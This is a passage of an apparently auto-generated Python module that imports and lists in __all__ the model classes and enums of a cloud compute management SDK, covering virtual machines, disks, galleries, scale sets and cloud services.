VirtualMachineCaptureResult,
ResourceWithOptionalLocation,
VirtualMachineExtension,
VirtualMachineExtensionHandlerInstanceView,
VirtualMachineExtensionImage,
VirtualMachineExtensionInstanceView,
VirtualMachineExtensionUpdate,
VirtualMachineImageResource,
VirtualMachineImage,
VirtualMachineInstanceView,
VirtualMachineListResult,
VirtualMachineScaleSet,
SubResourceReadOnly,
VirtualMachineScaleSetExtension,
VirtualMachineScaleSetExtensionProfile,
VirtualMachineScaleSetIPConfiguration,
VirtualMachineScaleSetInstanceView,
VirtualMachineScaleSetInstanceViewStatusesSummary,
VirtualMachineScaleSetListResult,
VirtualMachineScaleSetListSkusResult,
VirtualMachineScaleSetListWithLinkResult,
VirtualMachineScaleSetNetworkConfiguration,
VirtualMachineScaleSetNetworkProfile,
VirtualMachineScaleSetOSDisk,
VirtualMachineScaleSetOSProfile,
VirtualMachineScaleSetSku,
VirtualMachineScaleSetSkuCapacity,
VirtualMachineScaleSetStorageProfile,
VirtualMachineScaleSetVM,
VirtualMachineScaleSetVMExtensionsSummary,
VirtualMachineScaleSetVMInstanceIDs,
VirtualMachineScaleSetVMInstanceRequiredIDs,
VirtualMachineScaleSetVMInstanceView,
VirtualMachineScaleSetVMListResult,
VirtualMachineScaleSetVMProfile,
VirtualMachineSize,
VirtualMachineSizeListResult,
VirtualMachineStatusCodeCount,
WinRMConfiguration,
WinRMListener,
WindowsConfiguration,
VirtualMachineExtensionsListResult,
VirtualMachineIdentity,
VirtualMachineScaleSetIdentity,
AccessUri,
CreationData,
Disk,
DiskList,
DiskUpdate,
EncryptionSettings,
GrantAccessData,
Image,
ImageDisk,
ImageDataDisk,
ImageDiskReference,
ImageListResult,
ImageOSDisk,
ImageStorageProfile,
KeyVaultAndKeyReference,
KeyVaultAndSecretReference,
ManagedDiskParameters,
ResourceUpdate,
Snapshot,
SnapshotList,
SnapshotUpdate,
SourceVault,
VirtualMachineScaleSetDataDisk,
VirtualMachineScaleSetManagedDiskParameters,
DiskSku,
MaintenanceRedeployStatus,
ResourceSku,
ResourceSkuCapabilities,
ResourceSkuCapacity,
ResourceSkuCosts,
ResourceSkuRestrictions,
ResourceSkusResult,
RollingUpgradePolicy,
RollingUpgradeProgressInfo,
RollingUpgradeRunningStatus,
RollingUpgradeStatusInfo,
RunCommandDocumentBase,
RunCommandDocument,
RunCommandInput,
RunCommandInputParameter,
RunCommandListResult,
RunCommandParameterDefinition,
RunCommandResult,
VirtualMachineHealthStatus,
VirtualMachineScaleSetExtensionListResult,
VirtualMachineScaleSetNetworkConfigurationDnsSettings,
VirtualMachineScaleSetPublicIPAddressConfiguration,
VirtualMachineScaleSetPublicIPAddressConfigurationDnsSettings,
VirtualMachineScaleSetUpdate,
VirtualMachineScaleSetUpdateIPConfiguration,
VirtualMachineScaleSetUpdateNetworkConfiguration,
VirtualMachineScaleSetUpdateNetworkProfile,
VirtualMachineScaleSetUpdateOSDisk,
VirtualMachineScaleSetUpdateOSProfile,
VirtualMachineScaleSetUpdatePublicIPAddressConfiguration,
VirtualMachineScaleSetUpdateStorageProfile,
VirtualMachineScaleSetUpdateVMProfile,
ResourceSkuLocationInfo,
ResourceSkuRestrictionInfo,
AutoOSUpgradePolicy,
AvailabilitySetUpdate,
ComputeOperationListResult,
ComputeOperationValue,
ImageUpdate,
LogAnalyticsInputBase,
LogAnalyticsOperationResult,
LogAnalyticsOutput,
RecoveryWalkResponse,
RequestRateByIntervalInput,
RollbackStatusInfo,
ThrottledRequestsInput,
UpgradeOperationHistoricalStatusInfo,
UpgradeOperationHistoricalStatusInfoProperties,
UpgradeOperationHistoryStatus,
VirtualMachineScaleSetListOSUpgradeHistory,
VirtualMachineUpdate,
ProximityPlacementGroup,
ProximityPlacementGroupListResult,
ProximityPlacementGroupUpdate,
SnapshotSku,
VirtualMachineScaleSetIpTag,
AdditionalCapabilities,
DiffDiskSettings,
Disallowed,
Gallery,
GalleryArtifactPublishingProfileBase,
GalleryArtifactSource,
GalleryDiskImage,
GalleryDataDiskImage,
GalleryIdentifier,
GalleryImage,
GalleryImageIdentifier,
GalleryImageList,
GalleryImageVersion,
GalleryImageVersionList,
GalleryImageVersionPublishingProfile,
GalleryImageVersionStorageProfile,
GalleryList,
GalleryOSDiskImage,
ImagePurchasePlan,
ManagedArtifact,
RecommendedMachineConfiguration,
RegionalReplicationStatus,
ReplicationStatus,
ResourceRange,
TargetRegion,
UserAssignedIdentitiesValue,
VirtualMachineReimageParameters,
VirtualMachineScaleSetIdentityUserAssignedIdentitiesValue,
VirtualMachineScaleSetVMReimageParameters,
VirtualMachineScaleSetReimageParameters,
EncryptionSettingsCollection,
EncryptionSettingsElement,
AutomaticOSUpgradePolicy,
AutomaticOSUpgradeProperties,
AutomaticRepairsPolicy,
BillingProfile,
DedicatedHost,
DedicatedHostAllocatableVM,
DedicatedHostAvailableCapacity,
DedicatedHostGroup,
DedicatedHostGroupListResult,
DedicatedHostGroupUpdate,
DedicatedHostInstanceView,
DedicatedHostListResult,
DedicatedHostUpdate,
GalleryApplication,
GalleryApplicationList,
GalleryApplicationVersion,
GalleryApplicationVersionList,
GalleryApplicationVersionPublishingProfile,
ScaleInPolicy,
ScheduledEventsProfile,
TerminateNotificationProfile,
UserArtifactManage,
UserArtifactSource,
VMScaleSetConvertToSinglePlacementGroupInput,
VirtualMachineScaleSetVMNetworkProfileConfiguration,
VirtualMachineScaleSetVMProtectionPolicy,
ResourceSkuZoneDetails,
DiskEncryptionSet,
DiskEncryptionSetList,
DiskEncryptionSetParameters,
DiskEncryptionSetUpdate,
Encryption,
EncryptionSetIdentity,
UpdateResourceDefinition,
GalleryApplicationUpdate,
GalleryApplicationVersionUpdate,
GalleryArtifactVersionSource,
GalleryImageUpdate,
GalleryImageVersionUpdate,
GalleryUpdate,
SubResourceWithColocationStatus,
VirtualMachineScaleSetExtensionUpdate,
ShareInfoElement,
DiskImageEncryption,
DataDiskImageEncryption,
EncryptionImages,
OSDiskImageEncryption,
OrchestrationServiceStateInput,
OrchestrationServiceSummary,
SshPublicKeyGenerateKeyPairResult,
SshPublicKeyResource,
SshPublicKeyUpdateResource,
SshPublicKeysGroupListResult,
DiskAccess,
DiskAccessList,
DiskAccessUpdate,
PrivateEndpoint,
PrivateEndpointConnection,
PrivateLinkResource,
PrivateLinkResourceListResult,
PrivateLinkServiceConnectionState,
AvailablePatchSummary,
DedicatedHostGroupInstanceView,
DedicatedHostInstanceViewWithName,
DisallowedConfiguration,
LastPatchInstallationSummary,
PatchSettings,
RetrieveBootDiagnosticsDataResult,
SecurityProfile,
VirtualMachineAssessPatchesResult,
VirtualMachinePatchStatus,
VirtualMachineRunCommand,
VirtualMachineRunCommandInstanceView,
VirtualMachineRunCommandScriptSource,
VirtualMachineRunCommandUpdate,
VirtualMachineRunCommandsListResult,
VirtualMachineScaleSetVMExtension,
VirtualMachineScaleSetVMExtensionUpdate,
VirtualMachineScaleSetVMExtensionsListResult,
VirtualMachineSoftwarePatchProperties,
ResourceUriList,
ProxyOnlyResource,
DiskRestorePoint,
DiskRestorePointList,
ExtendedLocation,
GalleryImageFeature,
KeyForDiskEncryptionSet,
PirResource,
PirSharedGalleryResource,
PrivateEndpointConnectionListResult,
SharedGallery,
SharedGalleryImage,
SharedGalleryImageList,
SharedGalleryImageVersion,
SharedGalleryImageVersionList,
SharedGalleryList,
SharingProfile,
SharingProfileGroup,
SharingUpdate,
CloudService,
CloudServiceExtensionProfile,
CloudServiceExtensionProperties,
CloudServiceInstanceView,
CloudServiceListResult,
CloudServiceNetworkProfile,
CloudServiceOsProfile,
CloudServiceProperties,
CloudServiceRole,
CloudServiceRoleListResult,
CloudServiceRoleProfile,
CloudServiceRoleProfileProperties,
CloudServiceRoleProperties,
CloudServiceRoleSku,
CloudServiceUpdate,
CloudServiceVaultAndSecretReference,
CloudServiceVaultCertificate,
CloudServiceVaultSecretGroup,
Extension,
InstanceSku,
InstanceViewStatusesSummary,
LoadBalancerConfiguration,
LoadBalancerConfigurationProperties,
LoadBalancerFrontendIPConfiguration,
LoadBalancerFrontendIPConfigurationProperties,
ResourceInstanceViewStatus,
RoleInstance,
RoleInstanceListResult,
RoleInstanceNetworkProfile,
RoleInstanceProperties,
RoleInstanceView,
RoleInstances,
StatusCodeCount,
UpdateDomain,
UpdateDomainListResult,
DiskSecurityProfile,
LinuxParameters,
LinuxPatchSettings,
PatchInstallationDetail,
PropertyUpdatesInProgress,
PurchasePlanAutoGenerated,
UefiSettings,
VirtualMachineImageFeature,
VirtualMachineInstallPatchesParameters,
VirtualMachineInstallPatchesResult,
WindowsParameters,
ApiErrorAutoGenerated,
ApiErrorAutoGenerated2,
CloudErrorAutoGenerated,
CloudErrorAutoGenerated2,
OSFamily,
OSFamilyListResult,
OSFamilyProperties,
OSVersion,
OSVersionListResult,
OSVersionProperties,
OSVersionPropertiesBase,
ProxyResource,
PublicIPAddressSku,
RestorePoint,
RestorePointCollection,
RestorePointCollectionListResult,
RestorePointCollectionSourceProperties,
RestorePointCollectionUpdate,
RestorePointSourceMetadata,
RestorePointSourceVMDataDisk,
RestorePointSourceVMOSDisk,
RestorePointSourceVMStorageProfile,
VirtualMachineIpTag,
VirtualMachineNetworkInterfaceConfiguration,
VirtualMachineNetworkInterfaceDnsSettingsConfiguration,
VirtualMachineNetworkInterfaceIPConfiguration,
VirtualMachinePublicIPAddressConfiguration,
VirtualMachinePublicIPAddressDnsSettingsConfiguration,
CapacityReservation,
CapacityReservationGroup,
CapacityReservationGroupInstanceView,
CapacityReservationGroupListResult,
CapacityReservationGroupUpdate,
CapacityReservationInstanceView,
CapacityReservationInstanceViewWithName,
CapacityReservationListResult,
CapacityReservationProfile,
CapacityReservationUpdate,
CapacityReservationUtilization,
SpotRestorePolicy,
SupportedCapabilities,
ApplicationProfile,
PirCommunityGalleryResource,
CommunityGallery,
CommunityGalleryImage,
CommunityGalleryImageVersion,
SoftDeletePolicy,
VMGalleryApplication,
VMSizeProperties,
CommunityGalleryInfo,
GalleryExtendedLocation,
GalleryTargetExtendedLocation,
OSDiskImageSecurityProfile,
RegionalSharingStatus,
SharingStatus,
DiskRestorePointInstanceView,
DiskRestorePointReplicationStatus,
RestorePointInstanceView,
VMDiskSecurityProfile,
VirtualMachineScaleSetHardwareProfile,
CommunityGalleryImageList,
CommunityGalleryImageVersionList,
SharedGalleryDiskImage,
SharedGalleryDataDiskImage,
SharedGalleryImageVersionStorageProfile,
SharedGalleryOSDiskImage,
UserArtifactSettings,
DedicatedHostGroupPropertiesAdditionalCapabilities,
LinuxVMGuestPatchAutomaticByPlatformSettings,
ProximityPlacementGroupPropertiesIntent,
VmImagesInEdgeZoneListResult,
WindowsVMGuestPatchAutomaticByPlatformSettings,
CopyCompletionError,
GalleryApplicationCustomAction,
GalleryApplicationCustomActionParameter,
GalleryArtifactSafetyProfileBase,
GalleryApplicationVersionSafetyProfile,
GalleryArtifactVersionFullSource,
GalleryDiskImageSource,
GalleryImageVersionSafetyProfile,
LatestGalleryImageVersion,
PolicyViolation,
SystemData,
PriorityMixPolicy,
LoadBalancerFrontendIpConfiguration,
LoadBalancerFrontendIpConfigurationProperties,
AlternativeOption,
ImageDeprecationStatus,
OSImageNotificationProfile,
OSProfileProvisioningData,
ServiceArtifactReference,
)
from ._enums import (
CachingTypes,
DiskCreateOptionTypes,
OperatingSystemTypes,
ProtocolTypes,
SettingNames,
StatusLevelTypes,
UpgradeMode,
VirtualMachineScaleSetSkuScaleType,
VirtualMachineSizeTypes,
AccessLevel,
DiskCreateOption,
OperatingSystemStateTypes,
StorageAccountTypes,
IPVersion,
MaintenanceOperationResultCodeTypes,
ResourceSkuCapacityScaleType,
ResourceSkuRestrictionsReasonCode,
RollingUpgradeActionType,
RollingUpgradeStatusCode,
ResourceSkuRestrictionsType,
IntervalInMins,
ResourceIdentityType,
UpgradeOperationInvoker,
UpgradeState,
VirtualMachineEvictionPolicyTypes,
VirtualMachinePriorityTypes,
ProximityPlacementGroupType,
SnapshotStorageAccountTypes,
AggregatedReplicationState,
AvailabilitySetSkuTypes,
DiffDiskOptions,
DiskStorageAccountTypes,
GalleryImagePropertiesProvisioningState,
GalleryImageVersionPropertiesProvisioningState,
GalleryPropertiesProvisioningState,
HostCaching,
ReplicationState,
ReplicationStatusTypes,
DiskState,
HyperVGeneration,
DedicatedHostLicenseTypes,
GalleryApplicationVersionPropertiesProvisioningState,
HyperVGenerationType,
HyperVGenerationTypes,
StorageAccountType,
VirtualMachineScaleSetScaleInRules,
DiskEncryptionSetIdentityType,
EncryptionType,
DiffDiskPlacement,
OrchestrationServiceNames,
OrchestrationServiceState,
OrchestrationServiceStateAction,
NetworkAccessPolicy,
PrivateEndpointConnectionProvisioningState,
PrivateEndpointServiceConnectionStatus,
ExecutionState,
InGuestPatchMode,
PatchAssessmentState,
PatchOperationStatus,
RebootStatus,
SoftwareUpdateRebootBehavior,
VmDiskTypes,
DiskEncryptionSetType,
ExtendedLocationTypes,
GallerySharingPermissionTypes,
SelectPermissions,
SharedToValues,
SharingProfileGroupTypes,
SharingUpdateOperationTypes,
CloudServiceUpgradeMode,
DiskDetachOptionTypes,
DiskSecurityTypes,
LinuxVMGuestPatchMode,
OrchestrationMode,
PatchInstallationState,
SecurityTypes,
VMGuestPatchClassificationLinux,
VMGuestPatchClassificationWindows,
VMGuestPatchRebootBehavior,
VMGuestPatchRebootSetting,
VMGuestPatchRebootStatus,
WindowsVMGuestPatchMode,
ConsistencyModeTypes,
DeleteOptions,
DiskDeleteOptionTypes,
ExpandTypesForGetVMScaleSets,
IPVersions,
InstanceViewTypes,
LinuxPatchAssessmentMode,
NetworkApiVersion,
OperatingSystemType,
PublicIPAddressSkuName,
PublicIPAddressSkuTier,
PublicIPAllocationMethod,
RestorePointCollectionExpandOptions,
WindowsPatchAssessmentMode,
CapacityReservationGroupInstanceViewTypes,
CapacityReservationInstanceViewTypes,
ExpandTypesForGetCapacityReservationGroups,
PublicNetworkAccess,
ExtendedLocationType,
ReplicationMode,
Architecture,
ConfidentialVMEncryptionType,
GalleryExpandParams,
GalleryExtendedLocationType,
SharingState,
ArchitectureTypes,
RepairAction,
RestorePointExpandOptions,
SecurityEncryptionTypes,
DataAccessAuthMode,
GalleryProvisioningState,
SharedGalleryHostCaching,
LinuxVMGuestPatchAutomaticByPlatformRebootSetting,
WindowsVMGuestPatchAutomaticByPlatformRebootSetting,
CopyCompletionErrorReason,
GalleryApplicationCustomActionParameterType,
PolicyViolationCategory,
CloudServiceSlotType,
DiskControllerTypes,
AlternativeType,
ImageState,
)
from ._patch import __all__ as _patch_all
from ._patch import * # pylint: disable=unused-wildcard-import
from ._patch import patch_sdk as _patch_sdk
__all__ = [
"AdditionalUnattendContent",
"ApiEntityReference",
"ApiError",
"ApiErrorBase",
"Resource",
"AvailabilitySet",
"AvailabilitySetListResult",
"BootDiagnostics",
"BootDiagnosticsInstanceView",
"ComputeLongRunningOperationProperties",
"DataDisk",
"DataDiskImage",
"DiagnosticsProfile",
"DiskEncryptionSettings",
"DiskInstanceView",
"HardwareProfile",
"SubResource",
"ImageReference",
"InnerError",
"InstanceViewStatus",
"KeyVaultKeyReference",
"KeyVaultSecretReference",
"LinuxConfiguration",
"ListUsagesResult",
"NetworkInterfaceReference",
"NetworkProfile",
"OSDisk",
"OSDiskImage",
"OSProfile",
"OperationStatusResponse",
"Plan",
"PurchasePlan",
"Sku",
"SshConfiguration",
"SshPublicKey",
"StorageProfile",
"UpdateResource",
"UpgradePolicy",
"Usage",
"UsageName",
"VaultCertificate",
"VaultSecretGroup",
"VirtualHardDisk",
"VirtualMachine",
"VirtualMachineAgentInstanceView",
"VirtualMachineCaptureParameters",
"VirtualMachineCaptureResult",
"ResourceWithOptionalLocation",
"VirtualMachineExtension",
"VirtualMachineExtensionHandlerInstanceView",
"VirtualMachineExtensionImage",
"VirtualMachineExtensionInstanceView",
"VirtualMachineExtensionUpdate",
"VirtualMachineImageResource",
"VirtualMachineImage",
"VirtualMachineInstanceView",
"VirtualMachineListResult",
"VirtualMachineScaleSet",
"SubResourceReadOnly",
"VirtualMachineScaleSetExtension",
"VirtualMachineScaleSetExtensionProfile",
"VirtualMachineScaleSetIPConfiguration",
"VirtualMachineScaleSetInstanceView",
"VirtualMachineScaleSetInstanceViewStatusesSummary",
"VirtualMachineScaleSetListResult",
"VirtualMachineScaleSetListSkusResult",
"VirtualMachineScaleSetListWithLinkResult",
"VirtualMachineScaleSetNetworkConfiguration",
"VirtualMachineScaleSetNetworkProfile",
"VirtualMachineScaleSetOSDisk",
"VirtualMachineScaleSetOSProfile",
"VirtualMachineScaleSetSku",
"VirtualMachineScaleSetSkuCapacity",
"VirtualMachineScaleSetStorageProfile",
"VirtualMachineScaleSetVM",
"VirtualMachineScaleSetVMExtensionsSummary",
"VirtualMachineScaleSetVMInstanceIDs",
"VirtualMachineScaleSetVMInstanceRequiredIDs",
"VirtualMachineScaleSetVMInstanceView",
"VirtualMachineScaleSetVMListResult",
"VirtualMachineScaleSetVMProfile",
"VirtualMachineSize",
"VirtualMachineSizeListResult",
"VirtualMachineStatusCodeCount",
"WinRMConfiguration",
"WinRMListener",
"WindowsConfiguration",
"VirtualMachineExtensionsListResult",
"VirtualMachineIdentity",
"VirtualMachineScaleSetIdentity",
"AccessUri",
"CreationData",
"Disk",
"DiskList",
"DiskUpdate",
"EncryptionSettings",
"GrantAccessData",
"Image",
"ImageDisk",
"ImageDataDisk",
"ImageDiskReference",
"ImageListResult",
"ImageOSDisk",
"ImageStorageProfile",
"KeyVaultAndKeyReference",
"KeyVaultAndSecretReference",
"ManagedDiskParameters",
"ResourceUpdate",
"Snapshot",
"SnapshotList",
"SnapshotUpdate",
"SourceVault",
"VirtualMachineScaleSetDataDisk",
"VirtualMachineScaleSetManagedDiskParameters",
"DiskSku",
"MaintenanceRedeployStatus",
"ResourceSku",
"ResourceSkuCapabilities",
"ResourceSkuCapacity",
"ResourceSkuCosts",
"ResourceSkuRestrictions",
"ResourceSkusResult",
"RollingUpgradePolicy",
"RollingUpgradeProgressInfo",
"RollingUpgradeRunningStatus",
"RollingUpgradeStatusInfo",
"RunCommandDocumentBase",
"RunCommandDocument",
"RunCommandInput",
"RunCommandInputParameter",
"RunCommandListResult",
"RunCommandParameterDefinition",
"RunCommandResult",
"VirtualMachineHealthStatus",
"VirtualMachineScaleSetExtensionListResult",
"VirtualMachineScaleSetNetworkConfigurationDnsSettings",
"VirtualMachineScaleSetPublicIPAddressConfiguration",
"VirtualMachineScaleSetPublicIPAddressConfigurationDnsSettings",
"VirtualMachineScaleSetUpdate",
"VirtualMachineScaleSetUpdateIPConfiguration",
"VirtualMachineScaleSetUpdateNetworkConfiguration",
"VirtualMachineScaleSetUpdateNetworkProfile",
"VirtualMachineScaleSetUpdateOSDisk",
"VirtualMachineScaleSetUpdateOSProfile",
"VirtualMachineScaleSetUpdatePublicIPAddressConfiguration",
"VirtualMachineScaleSetUpdateStorageProfile",
"VirtualMachineScaleSetUpdateVMProfile",
"ResourceSkuLocationInfo",
"ResourceSkuRestrictionInfo",
"AutoOSUpgradePolicy",
"AvailabilitySetUpdate",
"ComputeOperationListResult",
"ComputeOperationValue",
"ImageUpdate",
"LogAnalyticsInputBase",
"LogAnalyticsOperationResult",
"LogAnalyticsOutput",
"RecoveryWalkResponse",
"RequestRateByIntervalInput",
"RollbackStatusInfo",
"ThrottledRequestsInput",
"UpgradeOperationHistoricalStatusInfo",
"UpgradeOperationHistoricalStatusInfoProperties",
"UpgradeOperationHistoryStatus",
"VirtualMachineScaleSetListOSUpgradeHistory",
"VirtualMachineUpdate",
"ProximityPlacementGroup",
"ProximityPlacementGroupListResult",
"ProximityPlacementGroupUpdate",
"SnapshotSku",
"VirtualMachineScaleSetIpTag",
"AdditionalCapabilities",
"DiffDiskSettings",
"Disallowed",
"Gallery",
"GalleryArtifactPublishingProfileBase",
"GalleryArtifactSource",
"GalleryDiskImage",
"GalleryDataDiskImage",
"GalleryIdentifier",
"GalleryImage",
"GalleryImageIdentifier",
"GalleryImageList",
"GalleryImageVersion",
"GalleryImageVersionList",
"GalleryImageVersionPublishingProfile",
"GalleryImageVersionStorageProfile",
"GalleryList",
"GalleryOSDiskImage",
"ImagePurchasePlan",
"ManagedArtifact",
"RecommendedMachineConfiguration",
"RegionalReplicationStatus",
"ReplicationStatus",
"ResourceRange",
"TargetRegion",
"UserAssignedIdentitiesValue",
"VirtualMachineReimageParameters",
"VirtualMachineScaleSetIdentityUserAssignedIdentitiesValue",
"VirtualMachineScaleSetVMReimageParameters",
"VirtualMachineScaleSetReimageParameters",
"EncryptionSettingsCollection",
"EncryptionSettingsElement",
"AutomaticOSUpgradePolicy",
"AutomaticOSUpgradeProperties",
"AutomaticRepairsPolicy",
"BillingProfile",
"DedicatedHost",
"DedicatedHostAllocatableVM",
"DedicatedHostAvailableCapacity",
"DedicatedHostGroup",
"DedicatedHostGroupListResult",
"DedicatedHostGroupUpdate",
"DedicatedHostInstanceView",
"DedicatedHostListResult",
"DedicatedHostUpdate",
"GalleryApplication",
"GalleryApplicationList",
"GalleryApplicationVersion",
"GalleryApplicationVersionList",
"GalleryApplicationVersionPublishingProfile",
"ScaleInPolicy",
"ScheduledEventsProfile",
"TerminateNotificationProfile",
"UserArtifactManage",
"UserArtifactSource",
"VMScaleSetConvertToSinglePlacementGroupInput",
"VirtualMachineScaleSetVMNetworkProfileConfiguration",
"VirtualMachineScaleSetVMProtectionPolicy",
"ResourceSkuZoneDetails",
"DiskEncryptionSet",
"DiskEncryptionSetList",
"DiskEncryptionSetParameters",
"DiskEncryptionSetUpdate",
"Encryption",
"EncryptionSetIdentity",
"UpdateResourceDefinition",
"GalleryApplicationUpdate",
"GalleryApplicationVersionUpdate",
"GalleryArtifactVersionSource",
"GalleryImageUpdate",
"GalleryImageVersionUpdate",
"GalleryUpdate",
"SubResourceWithColocationStatus",
"VirtualMachineScaleSetExtensionUpdate",
"ShareInfoElement",
"DiskImageEncryption",
"DataDiskImageEncryption",
"EncryptionImages",
"OSDiskImageEncryption",
"OrchestrationServiceStateInput",
"OrchestrationServiceSummary",
"SshPublicKeyGenerateKeyPairResult",
"SshPublicKeyResource",
"SshPublicKeyUpdateResource",
"SshPublicKeysGroupListResult",
"DiskAccess",
"DiskAccessList",
"DiskAccessUpdate",
"PrivateEndpoint",
"PrivateEndpointConnection",
"PrivateLinkResource",
"PrivateLinkResourceListResult",
"PrivateLinkServiceConnectionState",
"AvailablePatchSummary",
"DedicatedHostGroupInstanceView",
"DedicatedHostInstanceViewWithName",
"DisallowedConfiguration",
"LastPatchInstallationSummary",
"PatchSettings",
"RetrieveBootDiagnosticsDataResult",
"SecurityProfile",
"VirtualMachineAssessPatchesResult",
"VirtualMachinePatchStatus",
"VirtualMachineRunCommand",
"VirtualMachineRunCommandInstanceView",
"VirtualMachineRunCommandScriptSource",
"VirtualMachineRunCommandUpdate",
"VirtualMachineRunCommandsListResult",
"VirtualMachineScaleSetVMExtension",
"VirtualMachineScaleSetVMExtensionUpdate",
"VirtualMachineScaleSetVMExtensionsListResult",
"VirtualMachineSoftwarePatchProperties",
"ResourceUriList",
"ProxyOnlyResource",
"DiskRestorePoint",
"DiskRestorePointList",
"ExtendedLocation",
"GalleryImageFeature",
"KeyForDiskEncryptionSet",
"PirResource",
"PirSharedGalleryResource",
"PrivateEndpointConnectionListResult",
"SharedGallery",
"SharedGalleryImage",
"SharedGalleryImageList",
"SharedGalleryImageVersion",
"SharedGalleryImageVersionList",
"SharedGalleryList",
"SharingProfile",
"SharingProfileGroup",
"SharingUpdate",
"CloudService",
"CloudServiceExtensionProfile",
"CloudServiceExtensionProperties",
"CloudServiceInstanceView",
"CloudServiceListResult",
"CloudServiceNetworkProfile",
"CloudServiceOsProfile",
"CloudServiceProperties",
"CloudServiceRole",
"CloudServiceRoleListResult",
"CloudServiceRoleProfile",
"CloudServiceRoleProfileProperties",
"CloudServiceRoleProperties",
"CloudServiceRoleSku",
"CloudServiceUpdate",
"CloudServiceVaultAndSecretReference",
"CloudServiceVaultCertificate",
"CloudServiceVaultSecretGroup",
"Extension",
"InstanceSku",
"InstanceViewStatusesSummary",
"LoadBalancerConfiguration",
"LoadBalancerConfigurationProperties",
"LoadBalancerFrontendIPConfiguration",
"LoadBalancerFrontendIPConfigurationProperties",
"ResourceInstanceViewStatus",
"RoleInstance",
"RoleInstanceListResult",
"RoleInstanceNetworkProfile",
"RoleInstanceProperties",
"RoleInstanceView",
"RoleInstances",
"StatusCodeCount",
"UpdateDomain",
"UpdateDomainListResult",
"DiskSecurityProfile",
"LinuxParameters",
"LinuxPatchSettings",
"PatchInstallationDetail",
"PropertyUpdatesInProgress",
"PurchasePlanAutoGenerated",
"UefiSettings",
"VirtualMachineImageFeature",
"VirtualMachineInstallPatchesParameters",
"VirtualMachineInstallPatchesResult",
"WindowsParameters",
"ApiErrorAutoGenerated",
"ApiErrorAutoGenerated2",
"CloudErrorAutoGenerated",
"CloudErrorAutoGenerated2",
"OSFamily",
"OSFamilyListResult",
"OSFamilyProperties",
"OSVersion",
"OSVersionListResult",
"OSVersionProperties",
"OSVersionPropertiesBase",
"ProxyResource",
"PublicIPAddressSku",
"RestorePoint",
"RestorePointCollection",
"RestorePointCollectionListResult",
"RestorePointCollectionSourceProperties",
"RestorePointCollectionUpdate",
"RestorePointSourceMetadata",
"RestorePointSourceVMDataDisk",
"RestorePointSourceVMOSDisk",
"RestorePointSourceVMStorageProfile",
"VirtualMachineIpTag",
"VirtualMachineNetworkInterfaceConfiguration",
"VirtualMachineNetworkInterfaceDnsSettingsConfiguration",
"VirtualMachineNetworkInterfaceIPConfiguration",
"VirtualMachinePublicIPAddressConfiguration",
"VirtualMachinePublicIPAddressDnsSettingsConfiguration",
"CapacityReservation",
"CapacityReservationGroup",
"CapacityReservationGroupInstanceView",
"CapacityReservationGroupListResult",
"CapacityReservationGroupUpdate",
"CapacityReservationInstanceView",
"CapacityReservationInstanceViewWithName",
"CapacityReservationListResult",
"CapacityReservationProfile",
"CapacityReservationUpdate",
"CapacityReservationUtilization",
"SpotRestorePolicy",
"SupportedCapabilities",
"ApplicationProfile",
"PirCommunityGalleryResource",
"CommunityGallery",
"CommunityGalleryImage",
"CommunityGalleryImageVersion",
"SoftDeletePolicy",
"VMGalleryApplication",
"VMSizeProperties",
"CommunityGalleryInfo",
"GalleryExtendedLocation",
"GalleryTargetExtendedLocation",
"OSDiskImageSecurityProfile",
"RegionalSharingStatus",
"SharingStatus",
"DiskRestorePointInstanceView",
"DiskRestorePointReplicationStatus",
"RestorePointInstanceView",
"VMDiskSecurityProfile",
"VirtualMachineScaleSetHardwareProfile",
"CommunityGalleryImageList",
"CommunityGalleryImageVersionList",
"SharedGalleryDiskImage",
"SharedGalleryDataDiskImage",
"SharedGalleryImageVersionStorageProfile",
"SharedGalleryOSDiskImage",
"UserArtifactSettings",
"DedicatedHostGroupPropertiesAdditionalCapabilities",
"LinuxVMGuestPatchAutomaticByPlatformSettings",
"ProximityPlacementGroupPropertiesIntent",
"VmImagesInEdgeZoneListResult",
"WindowsVMGuestPatchAutomaticByPlatformSettings",
"CopyCompletionError",
"GalleryApplicationCustomAction",
"GalleryApplicationCustomActionParameter",
"GalleryArtifactSafetyProfileBase",
"GalleryApplicationVersionSafetyProfile",
"GalleryArtifactVersionFullSource",
"GalleryDiskImageSource",
"GalleryImageVersionSafetyProfile",
"LatestGalleryImageVersion",
"PolicyViolation",
"SystemData",
"PriorityMixPolicy",
"LoadBalancerFrontendIpConfiguration",
"LoadBalancerFrontendIpConfigurationProperties",
"AlternativeOption",
"ImageDeprecationStatus",
"OSImageNotificationProfile",
"OSProfileProvisioningData",
"ServiceArtifactReference",
"CachingTypes",
"DiskCreateOptionTypes",
"OperatingSystemTypes",
"ProtocolTypes",
"SettingNames",
"StatusLevelTypes",
"UpgradeMode",
"VirtualMachineScaleSetSkuScaleType",
"VirtualMachineSizeTypes",
"AccessLevel",
"DiskCreateOption",
"OperatingSystemStateTypes",
"StorageAccountTypes",
"IPVersion",
"MaintenanceOperationResultCodeTypes",
"ResourceSkuCapacityScaleType",
"ResourceSkuRestrictionsReasonCode",
"RollingUpgradeActionType",
"RollingUpgradeStatusCode",
"ResourceSkuRestrictionsType",
"IntervalInMins",
"ResourceIdentityType",
"UpgradeOperationInvoker",
"UpgradeState",
"VirtualMachineEvictionPolicyTypes",
"VirtualMachinePriorityTypes",
"ProximityPlacementGroupType",
"SnapshotStorageAccountTypes",
"AggregatedReplicationState",
"AvailabilitySetSkuTypes",
"DiffDiskOptions",
"DiskStorageAccountTypes",
"GalleryImagePropertiesProvisioningState",
"GalleryImageVersionPropertiesProvisioningState",
"GalleryPropertiesProvisioningState",
"HostCaching",
"ReplicationState",
"ReplicationStatusTypes",
"DiskState",
"HyperVGeneration",
"DedicatedHostLicenseTypes",
"GalleryApplicationVersionPropertiesProvisioningState",
"HyperVGenerationType",
"HyperVGenerationTypes",
"StorageAccountType",
"VirtualMachineScaleSetScaleInRules",
"DiskEncryptionSetIdentityType",
"EncryptionType",
"DiffDiskPlacement",
"OrchestrationServiceNames",
"OrchestrationServiceState",
"OrchestrationServiceStateAction",
"NetworkAccessPolicy",
"PrivateEndpointConnectionProvisioningState",
"PrivateEndpointServiceConnectionStatus",
"ExecutionState",
"InGuestPatchMode",
"PatchAssessmentState",
"PatchOperationStatus",
"RebootStatus",
"SoftwareUpdateRebootBehavior",
"VmDiskTypes",
"DiskEncryptionSetType",
"ExtendedLocationTypes",
"GallerySharingPermissionTypes",
"SelectPermissions",
"SharedToValues",
"SharingProfileGroupTypes",
"SharingUpdateOperationTypes",
"CloudServiceUpgradeMode",
